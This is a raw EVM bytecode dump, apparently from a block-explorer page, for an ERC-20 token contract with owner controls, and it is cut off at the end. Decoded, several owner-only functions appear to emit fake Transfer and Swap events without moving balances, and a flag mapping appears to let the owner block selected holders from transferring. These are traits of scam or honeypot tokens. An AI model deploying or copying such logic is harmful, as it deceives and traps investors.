0b565b60005b82829050811015610c1f57600160026000858585818110610ac957610ac86120f8565b5b9050602002016020810190610ade9190611e73565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110610b7b57610b7a6120f8565b5b9050602002016020810190610b909190611e73565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925610bf7868686818110610bdd57610bdc6120f8565b5b9050602002016020810190610bf29190611e73565b610947565b604051610c049190611e05565b60405180910390a38080610c17906121e0565b915050610aa5565b505050565b60005b84849050811015610da957848482818110610c4557610c446120f8565b5b9050602002016020810190610c5a9190611e73565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051610ce0949392919061216c565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610d3457610d336120f8565b5b9050602002016020810190610d499190611e73565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d8e9190611e05565b60405180910390a38080610da1906121e0565b915050610c27565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610de8906120c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610e14906120c7565b8015610e615780601f10610e3657610100808354040283529160200191610e61565b820191906000526020600020905b815481529060010190602001808311610e4457829003601f168201915b5050505050905090565b60005b84849050811015610fef57848482818110610e8c57610e8b6120f8565b5b9050602002016020810190610ea19190611e73565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610f26949392919061225c565b60405180910390a3848482818110610f4157610f406120f8565b5b9050602002016020810190610f569190611e73565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fd49190611e05565b60405180910390a38080610fe7906121e0565b915050610e6e565b5050505050565b600080611001611438565b9050600061100f828661132e565b905083811015611054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104b90612313565b60405180910390fd5b6110618286868403611440565b60019250505092915050565b60005b8484905081101561129a5784848281811061108e5761108d6120f8565b5b90506020020160208101906110a39190611e73565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051611128949392919061225c565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111d19190611e05565b60405180910390a38484828181106111ec576111eb6120f8565b5b90506020020160208101906112019190611e73565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161127f9190611e05565b60405180910390a38080611292906121e0565b915050611070565b5050505050565b6000806112ac611438565b90506112b9818585611695565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113219190611e05565b60405180910390a3505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113bd611a0b565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361142c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611423906123a5565b60405180910390fd5b61143581611a89565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a690612437565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361151e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611515906124c9565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115fc9190611e05565b60405180910390a3505050565b6000611615848461132e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461168f5781811015611681576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167890612535565b60405180910390fd5b61168e8484848403611440565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fb906125c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176a90612659565b60405180910390fd5b61177e838383611b4d565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fc906126eb565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119395750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119955760011515600560009054906101000a900460ff16151514611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b90612731565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119f29190611e05565b60405180910390a3611a05848484611b52565b50505050565b611a13611438565b73ffffffffffffffffffffffffffffffffffffffff16611a31610db0565b73ffffffffffffffffffffffffffffffffffffffff1614611a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7e9061279d565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b91578082015181840152602081019050611b76565b60008484015250505050565b6000601f19601f8301169050919050565b6000611bb982611b57565b611bc38185611b62565b9350611bd3818560208601611b73565b611bdc81611b9d565b840191505092915050565b60006020820190508181036000830152611c018184611bae565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c3e82611c13565b9050919050565b611c4e81611c33565b8114611c5957600080fd5b50565b600081359050611c6b81611c45565b92915050565b6000819050919050565b611c8481611c71565b8114611c8f57600080fd5b50565b600081359050611ca181611c7b565b92915050565b60008060408385031215611cbe57611cbd611c09565b5b6000611ccc85828601611c5c565b9250506020611cdd85828601611c92565b9150509250929050565b60008115159050919050565b611cfc81611ce7565b82525050565b6000602082019050611d176000830184611cf3565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611d4257611d41611d1d565b5b8235905067ffffffffffffffff811115611d5f57611d5e611d22565b5b602083019150836020820283011115611d7b57611d7a611d27565b5b9250929050565b60008060008060608587031215611d9c57611d9b611c09565b5b600085013567ffffffffffffffff811115611dba57611db9611c0e565b5b611dc687828801611d2c565b94509450506020611dd987828801611c92565b9250506040611dea87828801611c92565b91505092959194509250565b611dff81611c71565b82525050565b6000602082019050611e1a6000830184611df6565b92915050565b600080600060608486031215611e3957611e38611c09565b5b6000611e4786828701611c5c565b9350506020611e5886828701611c5c565b9250506040611e6986828701611c92565b9150509250925092565b600060208284031215611e8957611e88611c09565b5b6000611e9784828501611c5c565b91505092915050565b600060ff82169050919050565b611eb681611ea0565b82525050565b6000602082019050611ed16000830184611ead565b92915050565b60008060208385031215611eee57611eed611c09565b5b600083013567ffffffffffffffff811115611f0c57611f0b611c0e565b5b611f1885828601611d2c565b92509250509250929050565b60008083601f840112611f3a57611f39611d1d565b5b8235905067ffffffffffffffff811115611f5757611f56611d22565b5b602083019150836020820283011115611f7357611f72611d27565b5b9250929050565b60008060008060008060608789031215611f9757611f96611c09565b5b600087013567ffffffffffffffff811115611fb557611fb4611c0e565b5b611fc189828a01611d2c565b9650965050602087013567ffffffffffffffff811115611fe457611fe3611c0e565b5b611ff089828a01611d2c565b9450945050604087013567ffffffffffffffff81111561201357612012611c0e565b5b61201f89828a01611f24565b92509250509295509295509295565b61203781611c33565b82525050565b6000602082019050612052600083018461202e565b92915050565b6000806040838503121561206f5761206e611c09565b5b600061207d85828601611c5c565b925050602061208e85828601611c5c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120df57607f821691505b6020821081036120f2576120f1612098565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b600061215661215161214c84612127565b612131565b611c71565b9050919050565b6121668161213b565b82525050565b6000608082019050612181600083018761215d565b61218e6020830186611df6565b61219b6040830185611df6565b6121a8606083018461215d565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006121eb82611c71565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361221d5761221c6121b1565b5b600182019050919050565b600061223382611c71565b915061223e83611c71565b9250828201905080821115612256576122556121b1565b5b92915050565b60006080820190506122716000830187611df6565b61227e602083018661215d565b61228b604083018561215d565b6122986060830184611df6565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006122fd602583611b62565b9150612308826122a1565b604082019050919050565b6000602082019050818103600083015261232c816122f0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061238f602683611b62565b915061239a82612333565b604082019050919050565b600060208201905081810360008301526123be81612382565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612421602483611b62565b915061242c826123c5565b604082019050919050565b6000602082019050818103600083015261245081612414565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006124b3602283611b62565b91506124be82612457565b604082019050919050565b600060208201905081810360008301526124e2816124a6565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061251f601d83611b62565b915061252a826124e9565b602082019050919050565b6000602082019050818103600083015261254e81612512565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006125b1602583611b62565b91506125bc82612555565b604082019050919050565b600060208201905081810360008301526125e0816125a4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612643602383611b62565b915061264e826125e7565b604082019050919050565b6000602082019050818103600083015261267281612636565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006126d5602683611b62565b91506126e082612679565b604082019050919050565b60006020820190508181036000830152612704816126c8565b9050919050565b50565b600061271b600083611b62565b91506127268261270b565b600082019050919050565b6000602082019050818103600083015261274a8161270e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612787602083611b62565b915061279282612751565b602082019050919050565b600060208201905081810360008301526127b68161277a565b905091905056fea2646970667358221220977e810223ecdb3b5fc2508784950316a5de8bc2dde58ca700a6ae2cd67910ca64736f6c63430008120033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101585760003560e01c8063715018a6116100c3578063a457c2d71161007c578063a457c2d7146103b1578063a7dec381146103e1578063a9059cbb146103fd578063beabacc81461042d578063dd62ed3e14610449578063f2fde38b1461047957610158565b8063715018a61461031757806377a1736b146103215780637aac697b1461033d5780638da5cb5b1461035957806395d89b4114610377578063a1c617f51461039557610158565b8063313ce56711610115578063313ce5671461024557806338bf3cfa14610263578063395093511461027f578063477e1944146102af57806370a08231146102cb5780637111a994146102fb57610158565b806306fdde031461015d578063095ea7b31461017b5780630ca12b3d146101ab57806318160ddd146101c757806323b872dd146101e55780632f54bf6e14610215575b600080fd5b610165610495565b6040516101729190611be7565b60405180910390f35b61019560048036038101906101909190611ca7565b610527565b6040516101a29190611d02565b60405180910390f35b6101c560048036038101906101c09190611d82565b61054a565b005b6101cf61077f565b6040516101dc9190611e05565b60405180910390f35b6101ff60048036038101906101fa9190611e20565b610789565b60405161020c9190611d02565b60405180910390f35b61022f600480360381019061022a9190611e73565b6107b8565b60405161023c9190611d02565b60405180910390f35b61024d61080e565b60405161025a9190611ebc565b60405180910390f35b61027d60048036038101906102789190611e73565b610817565b005b61029960048036038101906102949190611ca7565b610863565b6040516102a69190611d02565b60405180910390f35b6102c960048036038101906102c49190611ed7565b61089a565b005b6102e560048036038101906102e09190611e73565b610947565b6040516102f29190611e05565b60405180910390f35b61031560048036038101906103109190611f7a565b610990565b005b61031f610a86565b005b61033b60048036038101906103369190611ed7565b610a9a565b005b61035760048036038101906103529190611d82565b610c24565b005b610361610db0565b60405161036e919061203d565b60405180910390f35b61037f610dd9565b60405161038c9190611be7565b60405180910390f35b6103af60048036038101906103aa9190611d82565b610e6b565b005b6103cb60048036038101906103c69190611ca7565b610ff6565b6040516103d89190611d02565b60405180910390f35b6103fb60048036038101906103f69190611d82565b61106d565b005b61041760048036038101906104129190611ca7565b6112a1565b6040516104249190611d02565b60405180910390f35b61044760048036038101906104429190611e20565b6112c4565b005b610463600480360381019061045e9190612058565b61132e565b6040516104709190611e05565b60405180910390f35b610493600480360381019061048e9190611e73565b6113b5565b005b6060600680546104a4906120c7565b80601f01602080910402602001604051908101604052809291908181526020018280546104d0906120c7565b801561051d5780601f106104f25761010080835404028352916020019161051d565b820191906000526020600020905b81548152906001019060200180831161050057829003601f168201915b5050505050905090565b600080610532611438565b905061053f818585611440565b600191505092915050565b60005b848490508110156107785784848281811061056b5761056a6120f8565b5b90506020020160208101906105809190611e73565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051610606949392919061216c565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685858381811061065a576106596120f8565b5b905060200201602081019061066f9190611e73565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106b49190611e05565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161075d9190611e05565b60405180910390a38080610770906121e0565b91505061054d565b5050505050565b6000600454905090565b600080610794611438565b90506107a1858285611609565b6107ac858585611695565b60019150509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006012905090565b61081f611a0b565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008061086e611438565b905061088f818585610880858961132e565b61088a9190612228565b611440565b600191505092915050565b6108a2611a0b565b60005b82829050811015610942576000600260008585858181106108c9576108c86120f8565b5b90506020020160208101906108de9190611e73565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061093a906121e0565b9150506108a5565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b86869050811015610a7d578484828181106109b1576109b06120f8565b5b90506020020160208101906109c69190611e73565b73ffffffffffffffffffffffffffffffffffffffff168787838181106109ef576109ee6120f8565b5b9050602002016020810190610a049190611e73565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610a4e57610a4d6120f8565b5b90506020020135604051610a629190611e05565b60405180910390a38080610a75906121e0565b915050610993565b50505050505050565b610a8e611a0b565b610a986000611a89565b565b610aa2611a0b565b60005b82829050811015610c1f57600160026000858585818110610ac957610ac86120f8565b5b9050602002016020810190610ade9190611e73565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110610b7b57610b7a6120f8565b5b9050602002016020810190610b909190611e73565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925610bf7868686818110610bdd57610bdc6120f8565b5b9050602002016020810190610bf29190611e73565b610947565b604051610c049190611e05565b60405180910390a38080610c17906121e0565b915050610aa5565b505050565b60005b84849050811015610da957848482818110610c4557610c446120f8565b5b9050602002016020810190610c5a9190611e73565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051610ce0949392919061216c565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610d3457610d336120f8565b5b9050602002016020810190610d499190611e73565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d8e9190611e05565b60405180910390a38080610da1906121e0565b915050610c27565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610de8906120c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610e14906120c7565b8015610e615780601f10610e3657610100808354040283529160200191610e61565b820191906000526020600020905b815481529060010190602001808311610e4457829003601f168201915b5050505050905090565b60005b84849050811015610fef57848482818110610e8c57610e8b6120f8565b5b9050602002016020810190610ea19190611e73565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610f26949392919061225c565b60405180910390a3848482818110610f4157610f406120f8565b5b9050602002016020810190610f569190611e73565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fd49190611e05565b60405180910390a38080610fe7906121e0565b915050610e6e565b5050505050565b600080611001611438565b9050600061100f828661132e565b905083811015611054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104b90612313565b60405180910390fd5b6110618286868403611440565b60019250505092915050565b60005b8484905081101561129a5784848281811061108e5761108d6120f8565b5b90506020020160208101906110a39190611e73565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051611128949392919061225c565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111d19190611e05565b60405180910390a38484828181106111ec576111eb6120f8565b5b90506020020160208101906112019190611e73565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161127f9190611e05565b60405180910390a38080611292906121e0565b915050611070565b5050505050565b6000806112ac611438565b90506112b9818585611695565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113219190611e05565b60405180910390a3505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113bd611a0b565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361142c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611423906123a5565b60405180910390fd5b61143581611a89565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a690612437565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361151e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611515906124c9565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115fc9190611e05565b60405180910390a3505050565b6000611615848461132e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461168f5781811015611681576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167890612535565b60405180910390fd5b61168e8484848403611440565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fb906125c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176a90612659565b60405180910390fd5b61177e838383611b4d565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fc906126eb565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119395750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119955760011515600560009054906101000a900460ff16151514611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b90612731565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119f29190611e05565b60405180910390a3611a05848484611b52565b50505050565b611a13611438565b73ffffffffffffffffffffffffffffffffffffffff16611a31610db0565b73ffffffffffffffffffffffffffffffffffffffff1614611a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7e9061279d565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b91578082015181840152602081019050611b76565b60008484015250505050565b6000601f19601f8301169050919050565b6000611bb982611b57565b611bc38185611b62565b9350611bd3818560208601611b73565b611bdc81611b9d565b840191505092915050565b60006020820190508181036000830152611c018184611bae565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c3e82611c13565b9050919050565b611c4e81611c33565b8114611c5957600080fd5b50565b600081359050611c6b81611c45565b92915050565b6000819050919050565b611c8481611c71565b8114611c8f57600080fd5b50565b600081359050611ca181611c7b565b92915050565b60008060408385031215611cbe57611cbd611c09565b5b6000611ccc85828601611c5c565b9250506020611cdd85828601611c92565b9150509250929050565b60008115159050919050565b611cfc81611ce7565b82525050565b6000602082019050611d176000830184611cf3565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611d4257611d41611d1d565b5b8235905067ffffffffffffffff811115611d5f57611d5e611d22565b5b602083019150836020820283011115611d7b57611d7a611d27565b5b9250929050565b60008060008060608587031215611d9c57611d9b611c09565b5b600085013567ffffffffffffffff811115611dba57611db9611c0e565b5b611dc687828801611d2c565b94509450506020611dd987828801611c92565b9250506040611dea87828801611c92565b91505092959194509250565b611dff81611c71565b82525050565b6000602082019050611e1a6000830184611df6565b92915050565b600080600060608486031215611e3957611e38611c09565b5b6000611e4786828701611c5c565b9350506020611e5886828701611c5c565b9250506040611e6986828701611c92565b9150509250925092565b600060208284031215611e8957611e88611c09565b5b6000611e9784828501611c5c565b91505092915050565b600060ff82169050919050565b611eb681611ea0565b82525050565b6000602082019050611ed16000830184611ead565b92915050565b60008060208385031215611eee57611eed611c09565b5b600083013567ffffffffffffffff811115611f0c57611f0b611c0e565b5b611f1885828601611d2c565b92509250509250929050565b60008083601f840112611f3a57611f39611d1d565b5b8235905067ffffffffffffffff811115611f5757611f56611d22565b5b602083019150836020820283011115611f7357611f72611d27565b5b9250929050565b60008060008060008060608789031215611f9757611f96611c09565b5b600087013567ffffffffffffffff811115611fb557611fb4611c0e565b5b611fc189828a01611d2c565b9650965050602087013567ffffffffffffffff811115611fe457611fe3611c0e565b5b611ff089828a01611d2c565b9450945050604087013567ffffffffffffffff81111561201357612012611c0e565b5b61201f89828a01611f24565b92509250509295509295509295565b61203781611c33565b82525050565b6000602082019050612052600083018461202e565b92915050565b6000806040838503121561206f5761206e611c09565b5b600061207d85828601611c5c565b925050602061208e85828601611c5c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120df57607f821691505b6020821081036120f2576120f1612098565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b600061215661215161214c84612127565b612131565b611c71565b9050919050565b6121668161213b565b82525050565b6000608082019050612181600083018761215d565b61218e6020830186611df6565b61219b6040830185611df6565b6121a8606083018461215d565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006121eb82611c71565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361221d5761221c6121b1565b5b600182019050919050565b600061223382611c71565b915061223e83611c71565b92508282019050808211156122